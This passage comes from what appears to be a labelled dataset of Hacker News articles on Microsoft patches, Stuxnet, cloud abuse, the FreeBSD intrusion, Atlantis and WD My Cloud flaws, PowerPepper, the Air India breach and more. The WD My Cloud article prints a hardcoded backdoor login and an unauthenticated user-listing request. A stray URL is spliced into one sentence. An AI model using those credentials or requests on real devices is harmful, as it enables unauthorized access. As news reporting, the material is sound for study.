Just a week before, Microsoft provided an 'out-of-band security update' for all versions of Internet Explorer (IE) that were affected by the zero-day vulnerability, and since IE6 for Windows XP retired last month, even though it received patches for IE6 zero-day flaw. But, Microsoft has no plan to make any such accommodations this time.

13th MAY 2014 - MICROSOFT PATCH TUESDAY
Next week the security updates will include fixes for vulnerabilities including the critical one in Internet Explorer (IE), along with .NET Framework, Windows, Office and SharePoint for all versions of Windows except Windows XP.

""Our existing policy remains in place, and as such, Microsoft no longer supports Windows XP. We continue to encourage customers to migrate to a modern operating system, such as Windows 7 or 8.1,"" a Microsoft spokesman said.

The IE release is one of two critical bulletins, for all Windows versions from Windows Vista to Windows 8.1 and moderate for all Windows Server versions, expected next week. The bulletin is a remote code execution vulnerability for Microsoft Windows, specially involving Internet Explorer. The bug is critical for Windows XP too, but Microsoft said next week's patch will not be for XP machines.

So, it should be on top of your list to be patched as soon as possible. The update will patch vulnerabilities in all still-supported versions of the browser, including IE6, IE7, IE8, IE9, IE10 and IE11, according to Microsoft's advance notification.

The second critical marked bulletin affects SharePoint Server 2007 SP3, SharePoint Server 2010 and 2013 and Office Web Apps 2010 and 2013 as well.

The remaining six bulletins are rated Important in severity by Microsoft and affect a number of products including Office, Windows and .NET framework, and from all these flaws, a remote code execution bug in Office 2007, 2010 and 2013 could be most serious. Microsoft is also releasing patches for a security feature bypass in Office.

ADOBE TO RELEASE PATCHES FOR ACROBAT AND READER
Adobe has also announced its next patch Tuesday updates on May 13, they plan to release patches for at least one critical vulnerability in the Windows and Mac OS X versions of Adobe Acrobat and Reader.

The affected software versions are Adobe Reader XI and Acrobat XI (11.0.06) and earlier 11.x versions for Windows and Macintosh, and Adobe Reader X (10.1.9) and Acrobat X and earlier 10.x versions for Windows and Macintosh.

Adobe was not aware of any active exploits against the vulnerability in its Reader and Acrobat in latest and earlier versions as well. Adobe said that the patches address critical vulnerability in the software. No further details were provided, but the vulnerabilities are given the highest criticality rating (i.e. 1), indicating the flaws are remotely exploitable by the cyber criminals.

",Vulnerability
Stuxnet Source Code Released Online - Download Now,https://thehackernews.com/2011/07/stuxnet-source-code-released-online.html,"Stuxnet Source Code Released Online - Download Now
Stuxnet is a Microsoft Windows computer worm discovered in July 2010 that targets industrial software and equipment. While it is not the first time that crackers have targeted industrial systems,it is the first discovered malware that spies on and subverts industrial systems,and the first to include a programmable logic controller (PLC) rootkit.


Stuxnet is designed to programmatically alter Programmable Logic Controllers (PLCs) used in those facilities. In an ICS environment, the PLCs automate industrial type tasks such as regulating flow rate to maintain pressure and temperature controls.


Source Code Download
Another Video Presentation on Stuxnet by Hungry Beast.

",Malware
Cybercriminals using hijacked Cloud hosting accounts for targeted attacks,https://thehackernews.com/2013/06/cybercriminals-using-hijacked-cloud.html,"US Cloud hosting providers are constantly targeted by cyber crime according the revelations of two malware researchers Mary Landesman, a senior security researcher at Cisco Systems, and Dave Monnier security expert at Team Cymru explained during the 2013 Gartner Security and Risk Management Summit.

The hackers are exploiting with a meaningful increase these architecture to organize financially motivated attacks.
Landesman and Monnier explained in two distinct sessions that cyber criminals are exploiting US cloud hosting providers to deploy Command and Control servers for their malicious activities despite the great effort in monitoring activities operated by hosting cloud providers.

US is one of privileged countries to host malicious architecture due high availability of its infrastructures and cyber criminals know it.
""You can move your command and control servers to Kazakhstan, but that's not a very good business decision,"" ""The U.S. has redundant power, high availability and great peering; these are things all these guys are looking for."" Monnier declared.

Cyber criminals exploit compromised hosting account on cloud infrastructures or they set up accounts to conduct fraudulent activities. The acquisition of fraudulent accounts is done using a stolen digital identity and payments are executed with stolen credit card or using compromised payment services accounts.

The criminals are using the cloud architectures for various fraudulent activities such as the arrangement of Distributed Denial of Service, botnet management, watering hole attacks and phishing campaign.

Last edition of its APWG Global Phishing Survey report revealed that Fishers, exactly as other type of cyber criminals, appear active as never before breaking into cloud hosting providers with unprecedented success and abusing of their resources to conduct large scale phishing attacks.

""APWG Global Phishing Survey report states that the number of phishing attacks that targeted shared Web hosting represented 47% of overall phishing attacks, attackers registered principal sub domains than regular domain names.

The technique adopted by attackers appears very efficient, they hack shared Web hosting server and update its configuration so that phishing pages are displayed from a particular sub directory of each domain hosted on the server, in this way compromising a single shared hosting server, it is possible to exploit hundreds or even thousands of websites at a time for the attacks."" Reported Pierluigi Paganini in a blog post on Security Affairs.

The methods of attacks is exploited also to compromise cloud hosting providers, the hack of a single account could allow the control of various servers and all the web sited deployed on them.

""We need hosting providers to ensure the integrity of all their Web servers continually,"" Landesman declared.

Landesman has explained the scheme of attack adopted for Darkleech campaign that compromised nearly 20,000 legitimate websites that use Apache HTTP server software to launch drive-by malware attacks against visitors.

""Thousands of Web servers across the globe running Apache 2.2.2 and above are infected with an SSHD backdoor that allows remote attackers to upload and configure malicious Apache modules,"" ""These modules are then used to turn hosted sites into attack sites, dynamically injecting iFrames in real-time, only at the moment of visit."" declared Mary Landesman

The attackers are improving the techniques of attacks making large use of obfuscation techniques and testing with care their security avoidance mechanisms making hard the detection of malicious activities.

Another massive attacks have been observer during the last months, in March a new version of the threat called Linux/Cdorked malware was discovered attacking Apache installations meanwhile, a massive brute-force attack campaign dubbed Gumblar targeted WordPress accounts to gather admin credentials.

The trend is very concerning, in the next moths cloud infrastructures, social networks and mobile platforms will suffer a growing number of attacks, cyber criminals with a reasonable effort will be able to target wide audience and principal providers are located in the Western Regions for the above reasons.
Knowledge of these trends is essential to prevent future accidents.

",Malware
Intrusion detected on two FreeBSD Project app dev servers,https://thehackernews.com/2012/11/intrusion-detected-on-two-freebsd.html,"The FreeBSD team has announced over the weekend that two machines within the FreeBSD.org cluster have been compromised and have been consequently pulled offline for analysis.

Security team said on Saturday. ""The affected machines were taken offline for analysis. Additionally, a large portion of the remaining infrastructure machines were also taken offline as a precaution,"". However it added that the intruder had sufficient access to modify third party packages, many of which are compiled and installed through FreeBSD's ports system.

Audits have been performed to verify the infrastructure and source trees are clean and the suspect machines ""are either being re installed retired, or thoroughly audited before being brought back online,"" the cluster administration team said.

The FreeBSD Project was gearing up for the FreeBSD 9.1 release, however as it is unable to verify the integrity of the package set, that has been removed and will be rebuilt prior to the release.

The advisory includes several recommendations about the tools users and developers should use for updates, source code copying and signed binary distribution.

",Malware
3 New Code Execution Flaws Discovered in Atlantis Word Processor,https://thehackernews.com/2018/11/word-processor-vulnerability.html,"This is why you should always think twice before opening innocent looking email attachments, especially word and pdf files.

Cybersecurity researchers at Cisco Talos have once again discovered multiple critical security vulnerabilities in the Atlantis Word Processor that allow remote attackers to execute arbitrary code and take over affected computers.

An alternative to Microsoft Word, Atlantis Word Processor is a fast-loading word processor application that allows users to create, read and edit word documents effortlessly. It can also be used to convert TXT, RTF, ODT, DOC, WRI, or DOCX documents to ePub.

Just 50 days after disclosing 8 code execution vulnerabilities in previous versions of Atlantis Word Processor, Talos team today revealed details and proof-of-concept exploits for 3 more remote code execution vulnerabilities in the application.

All the three vulnerabilities, listed below, allow attackers to corrupt the application's memory and execute arbitrary code under the context of the application.

Incorrect Calculation of Buffer Size (CVE-2018-4038) — an exploitable arbitrary write vulnerability resides in the open document format parser of Atlantis Word Processor while trying to null-terminate a string.
Improper Validation of Array Index (CVE-2018-4039) — an out-of-bounds write vulnerability exists in the PNG implementation of.
Use of Uninitialized Variable (CVE-2018-4040) — an exploitable uninitialized pointer vulnerability exists in the rich text format parser of Atlantis Word Processor.

All these vulnerabilities affect Atlantis Word Processor versions 3.2.7.1, 3.2.7.2 and can be exploited by convincing a victim into opening a specially crafted malicious booby-trapped document.

Talos researchers responsibly reported all the vulnerabilities to the developers of the affected software, who have now released an updated version 3.2.10.1 that addresses the issues.

If you haven't yet, you are highly advised to update your word processing software to the latest version and security enthusiasts who are interested in learning more about these issues can head on to Talos blog for technical details.

The easiest way to prevent yourself from being a victim of attacks leveraging such vulnerabilities is never to open any document provided in an email from unknown or untrusted sources.
",Vulnerability
Hackers-For-Hire Group Develops New 'PowerPepper' In-Memory Malware,https://thehackernews.com/2020/12/hackers-for-hire-group-develops-new.html,"Cybersecurity researchers on Thursday disclosed details of a previously undiscovered in-memory Windows backdoor developed by a hacker-for-hire operation that can execute remotely malicious code and steal sensitive information from its targets in Asia, Europe, and the US.
Dubbed ""PowerPepper"" by Kaspersky researchers, the malware has been attributed to the DeathStalker group (formerly called Deceptikons), a threat actor that has been found to hit law firms and companies in the financial sector located in Europe and the Middle East at least since 2012.
The hacking tool is so-called because of its reliance on steganographic trickery to deliver the backdoor payload in the form of an image of ferns or peppers.
The espionage group first came to light earlier this July, with most of their attacks starting with a spear-phishing email containing a malicious modified LNK (shortcut) file that, when clicked, downloads and runs a PowerShell-based implant named Powersing.
While their objectives don't appear to be financially motivated, their continued interest in collecting crucial business information led Kaspersky to the conclusion that ""DeathStalker is a group of mercenaries offering hacking-for-hire services, or acting as some sort of information broker in financial circles.""
PowerPepper now joins the group's list of expanding and evolving toolsets.
Spotted in the wild in mid-July 2020, this new strain of malware gets dropped from a decoy Word document and leverages DNS over HTTPS (DoH) as a communications channel to transmit encrypted malicious shell commands from an attacker-controlled server.
The spear-phishing emails come with themes as varied as carbon emission regulations, travel booking, and the ongoing coronavirus pandemic, with the Word documents having social engineering banners urging users to enable macros in a bid to lure an unsuspecting user into downloading the backdoor.
To achieve its goals, the implant sends DNS requests to name servers — servers that store the DNS records — associated with a malicious C2 domain, which then sends back the command to be run in the form of an embedded response. Upon execution, the results are beamed to the server through a batch of DNS requests.
Besides leveraging macro-based and LNK-based delivery chains to deploy the malware, DeathStalker employed ""obfuscation, execution and masquerading tricks to hinder detection, or deceive targets that are curious about what is happening on their computers,"" Kaspersky's Pierre Delcher noted.
Chief among them are the capabilities to hide malicious execution workflow in Word embedded shape and object properties and use Windows Compiled HTML Help (CHM) files as archives for malicious files.
Multiple mercenary groups have been seen in the wild before, including BellTroX (aka Dark Basin), Bahamut, and CostaRicto, all of whom have deployed custom malware to breach systems belonging to financial institutions and government officials.
""It only seems fair to write that DeathStalker tried hard to develop evasive, creative and intricate tools with this PowerPepper implant and associated delivery chains,"" Delcher concluded.
""There is nothing particularly sophisticated about the techniques and tricks that are leveraged, yet the whole toolset has proved to be effective, is pretty well put together, and shows determined efforts to compromise various targets around the world.""
To safeguard against PowerPepper delivery and execution, it is recommended that businesses and users update their CMS backends as well as associated plugins, restrict PowerShell use on end-user computers with enforced execution policies, and refrain from opening Windows shortcuts attached to emails, or click links in emails from unknown senders.

",Malware
Critical Unpatched Flaws Disclosed In Western Digital 'My Cloud' Storage Devices,https://thehackernews.com/2018/01/western-digital-mycloud.html,"Security researchers have discovered several severe vulnerabilities and a secret hard-coded backdoor in Western Digital's My Cloud NAS devices that could allow remote attackers to gain unrestricted root access to the device.

Western Digital's My Cloud (WDMyCloud) is one of the most popular network-attached storage devices which is being used by individuals and businesses to host their files, and automatically backup and sync them with various cloud and web-based services.

The device lets users not only share files in a home network, but the private cloud feature also allows them to access their data from anywhere at any time.

Since these devices have been designed to be connected over the Internet, the hardcoded backdoor would leave user data open to hackers.

GulfTech research and development team has recently published an advisory detailing a hardcoded backdoor and several vulnerabilities it found in WD My Cloud storage devices that could allow remote attackers to inject their own commands and upload and download sensitive files without permission.

Noteworthy, James Bercegay of GulfTech contacted the vendor and reported the issues in June last year. The vendor confirmed the vulnerabilities and requested a period of 90 days until full disclosure.

On 3rd January (that's almost after 180 days), GulfTech publicly disclosed the details of the vulnerabilities, which are still unpatched.

Unrestricted File Upload Flaw Leads to Remote Exploitation

As the name suggests, this vulnerability allows a remote attacker to upload an arbitrary file to the server running on the internet-connected vulnerable storage devices.

The vulnerability resides in ""multi_uploadify.php"" script due to the wrong implementation of gethostbyaddr() PHP function by the developers.

This vulnerability can also be easily exploited to gain a remote shell as root. For this, all an attacker has to do is send a post request containing a file to upload using the parameter Filedata[0]—a location for the file to be uploaded to which is specified within the ""folder"" parameter, and a fake ""Host"" header.

The researcher has also written a Metasploit module to exploit this vulnerability.
""The [metasploit] module will use this vulnerability to upload a PHP webshell to the ""/var/www/"" directory. Once uploaded, the webshell can be executed by requesting a URI pointing to the backdoor, and thus triggering the payload,"" the researcher writes.

Hard Coded Backdoor Leads to Remote Exploitation

Researchers also found the existence of a ""classic backdoor""—with admin username ""mydlinkBRionyg"" and password ""abc12345cba,"" which is hardcoded into the binary and cannot be changed.

So, anyone can just log into WD My Cloud devices with these credentials.

Also, using this backdoor access, anyone can access the buggy code which is vulnerable to command injection and spawn a root shell.
""The triviality of exploiting this issues makes it very dangerous, and even wormable,"" the researcher notes. ""Not only that, but users locked to a LAN are not safe either.""
""An attacker could literally take over your WDMyCloud by just having you visit a website where an embedded iframe or img tag make a request to the vulnerable device using one of the many predictable default hostnames for the WDMyCloud such as 'wdmycloud' and 'wdmycloudmirror' etc.""

Other Vulnerabilities in Western Digital's My Cloud

Besides these two above-mentioned critical vulnerabilities, researchers also reported some other below-explained important flaws:

Cross-site request forgery:

Due to no real XSRF protection within the WD My Cloud web interface, any malicious site can potentially make a victim's web browser connect to a My Cloud device on the network and compromise it.

Simply visiting a booby-trapped website would be enough to lose control of your My Cloud device.

Command injection:

In March last year, a member of the Exploitee.rs team discovered several command injection issues within the WD My Cloud devices, which can be combined with the XSRF flaw to gain complete control (root access) of the affected device.

Unfortunately, the GulfTech team also uncovered a few command injection flaws.

Denial of Service:

Researchers also found that since any unauthenticated user can set the global language preferences for the entire storage device and all of its users, it is possible for an attacker to abuse this functionality to cause a DoS condition to the web interface.

Information disclosure:

According to researchers, it is possible for an attacker to dump a list of all users, including detailed user information without requiring any authentication, by simply making use of a simple request to the web server like this: GET /api/2.1/rest/users? HTTP/1.1

Affected My Cloud Firmware Versions and Models

Western Digital's My Cloud and My Cloud Mirror firmware version 2.30.165 and earlier are affected by all above-reported vulnerabilities.

Affected device models include My Cloud Gen 2, My Cloud PR2100, My Cloud PR4100, My Cloud EX2 Ultra, My Cloud EX2, My Cloud EX4, My Cloud EX2100, My Cloud EX4100, My Cloud DL2100 and My Cloud DL4100.

Metasploit modules for all the vulnerabilities have been released online.

",Vulnerability
"In-Brief: Telegram Vulnerability, Malware in Nuclear Plant, Anti-Tor Malware and Hotpatching Exploit",https://thehackernews.com/2016/04/in-brief-news-2.html,"Clickjacking Vulnerability in Telegram Web Client
The official Telegram web-client that allows its users to access messenger account over desktop's web browser is vulnerable to clickjacking web application vulnerability.

Egyptian security researcher Mohamed A. Baset told The Hacker News about a flaw in Telegram that could allow an attacker to change sensitive information of a Telegram user, including password and the recovery e-mail. [Watch Video Demo]
""Telegram web client is not protecting itself from clickjacking with the typical X-Frame-Options header but uses a JS frame busting technique to prevent the website to be iframed,"" Mohamed says.
However, by exploiting one of HTML5 Features, Mohamed was able to open the Telegram account's settings page with a sandboxed iframe to prevent redirecting to top window, which also allows him to execute cross-site request forgery (csrf) vulnerability on the web-client.

""I sent [bug report] it to them [Telegram team] but haven't got any reply or even an automated one (4 days ago),"" Mohamed told The Hacker News.

German Nuclear Power Plant in Bavaria Infected with Malware

A German nuclear power plant has been found to be infected with several computer viruses that can steal login credentials, allowing a remote attacker to access the infected computers.

The viruses, identified as ""W32.Ramnit"" and ""Conficker"", were discovered on office computers and in a computer system used to control the movement of radioactive fuel rods, the station's operator said on Tuesday.

However, the infections appear not to have posed any threat to the nuclear facility's operations because the viruses could not activate, thanks to the computers that are made isolated from the Internet.

Former Tor Developer Created Malware for FBI to Hack Tor Users

Do you know who created malware for the FBI that allowed Feds to unmask Tor users?

It's an insider's job… A former Tor Project developer.

According to an investigation, Matthew J. Edman, a cyber security expert and former employee of the Tor Project, helped the FBI with Cornhusker a.k.a Torsploit malware to hack Tor users in several high-profile cases, including Operation Torpedo and Silk Road.

The Malware exploited vulnerabilities in Adobe Flash Player to reveal Tor users' actual IP address to an FBI servers outside the Tor network.

Child Porn Suspect Held in Jail for 7 Months On Refusing to Decrypt Hard Drives

A Philadelphia man has been in jail for seven months and counting after being refused to comply with a court order forcing him to decrypt two password-protected hard drives seized in connection with a child pornography investigation.

The suspect, Francis Rawls, who is a former Philadelphia Police Department sergeant, has yet not been charged with any child pornography crime because the required evidence is locked in his hard drives using Apple's FileVault encryption software.

Rawls failed to comply with the court order, as the passwords he entered in the initial days of the investigation didn't decrypt his hard drives, and was then taken into indefinite imprisonment by US Marshals on Sept. 30, 2015.

Hacking Group Hijacks Windows Hotpatching to Hide its Malware

The Microsoft's Windows Defender Advanced Threat Hunting team detected that a cyber espionage group of hackers, known as PLATINUM, has found a way to turn the Windows's Hotpatching technique to hide its malware from Antivirus products.

The Hotpatching feature allows system to upgrade applications or the operating system in the running system without having to reboot the computer by inserting the new, updated code into a server.

PLATINUM group has been active since 2009 and launching large-scale attacks against governmental organizations, intelligence agencies, defense institutes and telecommunication providers in South and Southeast Asia.

",Malware
THN Weekly Roundup — 10 Most Important Stories You Shouldn't Miss,https://thehackernews.com/2017/07/hacker-news-cybersecurity.html,"Here we are with our weekly roundup, briefing this week's top cyber security threats, incidents and challenges.

This week has been very short with big news from shutting down of two of the largest Dark Web marketplaces and theft of millions of dollars in the popular Ethereum cryptocurrency to the discovery of new Linux malware leveraging SambaCry exploit.

We are here with the outline of this week's stories, just in case you missed any of them. We recommend you read the entire thing (just click 'Read More' because there's some valuable advice in there as well).

Here's the list of this Week's Top Stories:

1. Feds Shuts Down AlphaBay and Hansa Dark Web Markets — Dream Market Under Suspicion

On Thursday, Europol announced that the authorities had shut down two of the largest criminal Dark Web markets — AlphaBay and Hansa — in what's being called the largest-ever international operation against the dark web's black market conducted by the FBI, DEA and Dutch National Police.

Interestingly, the federal authorities shut down AlphaBay, but before taking down Hansa market, they took control of the Dark Web market and kept it running for at least a month in an effort to monitor the activities of its visitors, including a massive flood of Alphabay refugees.

After the shutdown of both AlphaBay and Hansa, Dream Market has emerged as the leading player, which has been in business since 2013, but it has now been speculated by many dark web users that Dream Market is also under police control.

For detailed information — Read more.

2. New Ransomware Threatens to Send Your Internet History to All Your Friends

After WannaCry and Petya ransomware outbreaks, a new strain of ransomware has been making the rounds on the Google Play Store in bogus apps, which targets Android mobile phone users.

Dubbed LeakerLocker, instead of encrypting files on your device, this Android ransomware secretly collects personal images, messages and browsing history and then threatens to share them with your contacts if you don't pay $50 (£38).

For more detailed information on the LeakerLocker ransomware — Read more.

3. New CIA Leaks — Smartphone Hacking and Malware Development
WikiLeaks last week published the 16th batch of its ongoing Vault 7 leak, revealing the CIA's Highrise Project that allowed the spying agency to stealthy collect and forwards stolen data from compromised smartphones to its server through SMS messages.

This week, the whistleblowing organisation revealed about a CIA contractor — Raytheon Blackbird Technologies — who was responsible for analysing advanced malware and hacking techniques being used in the wild by cyber criminals.

For more detailed information on Highrise Project and its contractor Raytheon Blackbird Technologies — Read More.

4. Three Back-to-Back Multi-Million Dollar Ethereum Heist in 20 Days

This week, an unknown hacker stole nearly $32 Million worth of Ethereum – one of the most popular and increasingly valuable cryptocurrencies – from wallet accounts linked to at least three companies by exploiting a critical vulnerability in Parity's Ethereum Wallet software.

This was the third Ethereum cryptocurrency heist that came out two days after an alleged hacker stole $7.4 Million worth of Ether from trading platform CoinDash and two weeks after someone hacked into South Korean cryptocurrency exchange and stole more than $1 Million in Ether and Bitcoins from user accounts.

For more detailed information about the Ethereum Heist — Read More.

5. Critical Gnome Flaw Leaves Linux PCs Vulnerable

This week has been bad for Linux users as well. A security researcher discovered a code injection vulnerability in the thumbnail handler component of GNOME Files file manager that allowed hackers to execute malicious code on targeted Linux machines.

German researcher Nils Dagsson Moskopp dubbed the vulnerability Bad Taste (CVE-2017-11421) and also released proof-of-concept (PoC) code on his blog to demonstrate the vulnerability.

For more details about the Bad Taste vulnerability and its PoC — Read More.

6. New Malware Exploits SambaCry to Hijack NAS Devices
Despite being patched in late May, the SambaCry vulnerability is currently being leveraged by a new piece of malware to target the Internet of Things (IoT) devices, particularly Network Attached Storage (NAS) appliances.

SambaCry is a 7-year-old critical remote code execution (RCE) vulnerability (CVE-2017-7494) in Samba networking software that could allow a hacker to remotely take full control of a vulnerable Linux and Unix machines.

The flaw was discovered and patched two months ago, but researchers at Trend Micro warned that the flaw had been actively exploited by the SHELLBIND malware that mostly targets NAS devices used by small and medium-size businesses.

For more detailed information on the SHELLBIND malware — Read More.

7. Devil's Ivy — Millions of Internet-Connected Devices At Risk

This week, researchers at the IoT-focused security firm Senrio discovered a critical remotely exploitable vulnerability in an open-source software development library used by major IoT manufacturers that eventually left millions of smart devices vulnerable to hacking.

Dubbed Devil's Ivy, the vulnerability (CVE-2017-9765) in the gSOAP toolkit (Simple Object Access Protocol) — an advanced C/C++ auto-coding tool for developing XML Web services and XML application.

The researchers also released proof-of-concept (PoC) video demonstrating the RCE on a security camera manufactured by Axis Communications.

For more detailed information on the Devil's Ivy and PoC video — Read More.

8. ""Ubuntu Linux for Windows 10 Released"" — Sounds So Weird?

Downloading an entire operating system has just become as easy as downloading an application for Windows 10 users, as Microsoft last week announced the availability of popular Linux distro 'Ubuntu' in the Windows App Store.

While the company announced its plans to launch Fedora and SUSE Linux as well on Windows Store, the company did not reveal exactly when its users can expect to see these two flavours of Linux distro on the App Store.

For detailed information on how to install and run Ubuntu on Windows 10 — Read More.

9. Over 70,000 Memcached Servers Vulnerable to Hacking
It's been almost eight months since the Memcached developers have patched several critical remote code execution (RCE) vulnerabilities in the software, but tens of thousands of servers running Memcached application are still vulnerable.

Cisco's Talos intelligence and research group last year discovered three critical RCE vulnerabilities in Memcached — a moderhttps://thehackernews.com/2017/07/segway-hoverboard-hacking.htmln open-source and easily deployable distributed caching system that allows objects to be stored in memory.

The vulnerability exposed major websites including Facebook, Twitter, YouTube, Reddit, to hackers, but the team of researchers scanned the internet on two different occasions and found that over 70,000 servers are still vulnerable to the attacks, including ransomware attacks similar to the one that hit MongoDB databases in late December.

For more in-depth information on the Memcached vulnerabilities — Read More.

10. Tor Launches Bug Bounty Program for Public

After its intention to launch a public bug bounty program in late December 2015, the Tor Project has finally launched a ""Bug Bounty Program,"" encouraging hackers and security researchers to find and privately report bugs that could compromise the anonymity network.

The bug bounty reports will be sent through HackerOne — a startup that operates bug bounty programs for companies including Yahoo, Twitter, Slack, Dropbox, Uber, General Motors – and even the U.S. Department of Defense for Hack the Pentagon initiative.

For detailed information on bug bounty prices and types of valid vulnerabilities — Read More.

Other Important News This Week

Besides these, there were lots of incidents happened this week, including:

Microsoft's smart move to help take down cyber espionage campaigns conducted by ""Fancy Bear"" hacking group.
A new credential stealing malware found being sold for as cheap as $7 on underground forums.
Cisco patched a highly critical RCE vulnerability in its WebEx browser extension for Chrome and Firefox, which could allow attackers to execute malicious code on a victim's computer remotely.
Windows 10 now let you Reset forgotten password directly from your computer's Lock Screen.
Several critical vulnerabilities in Segway Ninebot miniPRO could allow hackers to remotely take ""full control"" over the hoverboard within range and leave riders out-of-control.
Ashley Madison's parent company Ruby Corp has agreed to pay a total of $11.2 Million to roughly 37 million users whose personal details were exposed in a massive data breach two years ago.

",Malware
Disqus Hacked: More than 17.5 Million Users' Details Stolen in 2012 Breach,https://thehackernews.com/2017/10/disqus-comment-system-hacked.html,"Another day, Another data breach disclosure.

This time the popular commenting system has fallen victim to a massive security breach.

Disqus, the company which provides a web-based comment plugin for websites and blogs, has admitted that it was breached 5 years ago in July 2012 and hackers stole details of more than 17.5 million users.

The stolen data includes email addresses, usernames, sign-up dates, and last login dates in plain text for all 17.5 million users.

What's more? Hackers also got their hands on passwords for about one-third of the affected users, which were salted and hashed using the weak SHA-1 algorithm.

The company said the exposed user information dates back to 2007 with the most recently exposed from July 2012.

According to Disqus, the company became aware of the breach Thursday (5th October) evening after an independent security researcher Troy Hunt, who obtained a copy of the site's information, notified the company.

Within about 24 hours, Disqus disclosed the data breach and started contacting its affected users, forcing them to reset their passwords as soon as possible.
""No plain text passwords were exposed, but it is possible for this data to be decrypted (even if unlikely). As a security precaution, we have reset the passwords for all affected users. We recommend that all users change passwords on other services if they are shared,"" Disqus' CTO Jason Yan said in a blog post.
However, since late 2012 Disqus has made other upgrades to improve its security and changed its password hashing algorithm to Bcrypt—a much stronger cryptographic algorithm which makes it difficult for hackers to obtain user's actual password.

""Since 2012, as part of normal security enhancements, we have made significant upgrades to our database and encryption to prevent breaches and increase password security, Yan said. ""Specifically, at the end of 2012, we changed our password hashing algorithm from SHA1 to bcrypt.""

In addition to resetting your password, you are also advised to change your passwords on other online services and platforms as well, if you share the same credentials.

It is most likely that hackers could use this stolen information in tandem with social engineering techniques to gain further information on victims. So, you are advised to beware of spam and phishing emails carrying malicious file attachments.

It is still unclear how hackers get hands-on Disqus data. San Francisco-based Disqus is still actively investigating this security incident.

We will update you as soon as more details surface.

This is yet another embarrassing breach disclosed recently, after Equifax's disclosure of a breach of potentially 145.5 million US customers, U.S. Securities and Exchange Commission (SEC) disclosure of a breach that profited hackers, and recent Yahoo's disclosure that 2013 data breach affected all of its 3 Billion users.

",Data_Breaches
Chinese Hackers Believed to be Behind Second Cyberattack on Air India,https://thehackernews.com/2021/06/chinese-hackers-believed-to-be-behind.html,"Even as a massive data breach affecting Air India came to light the previous month, India's flag carrier airline appears to have suffered a separate cyber assault that lasted for a period of at least two months and 26 days, new research has revealed, which attributed the incident with moderate confidence to a Chinese nation-state threat actor called APT41.
Group-IB dubbed the campaign ""ColunmTK"" based on the names of command-and-control (C2) server domains that were used for facilitating communications with the compromised systems.
""The potential ramifications of this incident for the entire airline industry and carriers that might yet discover traces of ColunmTK in their networks are significant,"" the Singapore-headquartered threat hunting company said.
While Group-IB alluded that this may have been a supply chain attack targeting SITA, the Swiss aviation information technology company told The Hacker News that they are two different security incidents.
""The airline confirmed vis-à-vis SITA on June 11, 2021 that the cyber attack on Air India [...] is not the same or in any way linked to the attack on SITA PSS,"" SITA told our publication over email.
Also known by other monikers such as Winnti Umbrella, Axiom and Barium, APT41 is a prolific Chinese-speaking nation-state advanced persistent threat known for its campaigns centered around information theft and espionage against healthcare, high-tech, and telecommunications sectors to establish and maintain strategic access for stealing intellectual property and committing financially motivated cybercrimes.
""Their cyber crime intrusions are most apparent among video game industry targeting, including the manipulation of virtual currencies, and attempted deployment of ransomware,"" according to FireEye. ""APT41 operations against higher education, travel services, and news/media firms provide some indication that the group also tracks individuals and conducts surveillance.""
On May 21, Air India disclosed a data breach affecting 4.5 million of its customers over a period stretching nearly 10 years in the wake of a supply chain attack directed at its Passenger Service System (PSS) provider SITA earlier this February.
The breach involved personal data registered between Aug. 26, 2011, and Feb. 3, 2021, including details such as names, dates of birth, contact information, passport information, ticket information, Star Alliance, and Air India frequent flyer data, as well as credit card data.
FireEye's Mandiant, which is assisting SITA with the incident response efforts, has since determined that the attack was highly sophisticated and that the tactics, techniques, and procedures (TTPs) and compromise indicators point to a single entity, adding the ""identity and motive of the perpetrator are not entirely conclusive.""
Likely a New Attack Against Air India
Group-IB's analysis has now revealed that at least since Feb. 23, an infected device inside Air India's network (named ""SITASERVER4"") communicated with a server hosting Cobalt Strike payloads dating all the way back to Dec. 11, 2020.
Following this initial compromise, the attackers are said to have established persistence and obtained passwords in order to pivot laterally to the broader network with the goal of gathering information inside the local network.
No fewer than 20 devices were infected during the course of lateral movement, the company said. ""The attackers exfiltrated NTLM hashes and plain-text passwords from local workstations using hashdump and mimikatz,"" Group-IB Threat Intelligence Analyst, Nikita Rostovcev, said. ""The attackers tried to escalate local privileges with the help of BadPotato malware.""
In all, the adversary extracted 23.33 MB of data from five devices named SITASERVER4, AILCCUALHSV001, AILDELCCPOSCE01, AILDELCCPDB01, and WEBSERVER3, with the attackers taking 24 hours and 5 minutes to spread Cobalt Strike beacons to other devices in the airline's network. The initial entry point for the attack remains unknown as yet.
Connections to Barium are grounded on the basis of overlaps between the C2 servers found in the attack infrastructure with those used in earlier attacks and tactics employed by the threat actor to park their domains once their operations are over. Group-IB also said it discovered a file named ""Install.bat"" that bore similarities to payloads deployed in a 2020 global intrusion campaign.
When reached for a response, Group-IB CTO Dmitry Volkov told The Hacker News that ""Despite the fact that the initial compromise vector remains unknown, Group-IB treats [the] SITA incident and Air India breach as interrelated.""
""This assumption is built on the fact that it was a server in Air India's network that, Group-IB assumes, might have established [a] connection with SITA's network that was breached first. According to Group-IB's data, SITASERVER4 was the first host to have been infected within Air India's network. This has also been confirmed by Air India,"" Volkov added.
However, it's worth noting that SITASERVER4 was neither owned or managed by SITA. Speaking on background, SITA noted that the server in question had been previously used to host software offered by the company to Air India and that the specific software was removed from the server in 2019.
The aviation IT provider also clarified that none of the methods that were used to target Air India since February 23 were put to use in the attacks on SITA PSS, adding the adversary was removed from its network weeks prior to the start of the malicious activity directed against the airline, implying that the two incidents had no bearing on one another.

",Data_Breaches
FBI Analyst Charged With Stealing Counterterrorism and Cyber Threat Info,https://thehackernews.com/2021/05/fbi-analyst-charged-with-stealing.html,"The U.S. Department of Justice (DoJ) indicted an employee of the Federal Bureau of Investigation (FBI) for illegally removing numerous national security documents and willfully retaining them at her personal residence during a 13-year period from June 2004 to December 2017.
The federal indictment charged Kendra Kingsbury, 48, with two counts of having unauthorized possession of documents relating to the national defense, according to an unsealed indictment that was made public on Friday. Kingsbury worked as an intelligence analyst in the FBI's Kansas City Division for more than 12 years, until her suspension in 2017.
""The breadth and depth of classified national security information retained by the defendant for more than a decade is simply astonishing,"" said Alan E. Kohler, Jr. Assistant Director of the FBI's Counterintelligence Division, in a statement.
Stating that Kingsbury knew she was not authorized to remove and retain access to these sensitive government materials, the Justice Department charged the defendant with failing to deliver the secret documents to relevant employees who were entitled to receive them.
Kingsbury is alleged to have kept a total of 20 documents that cover a wide swathe of classified information spanning across intelligence notes and bulletins, email messages, internal correspondence, and a presentation that delve into different sources and methods the agency uses to defend against counterterrorism and cyber threats as well as details about intelligence gathered on emerging terrorist groups.
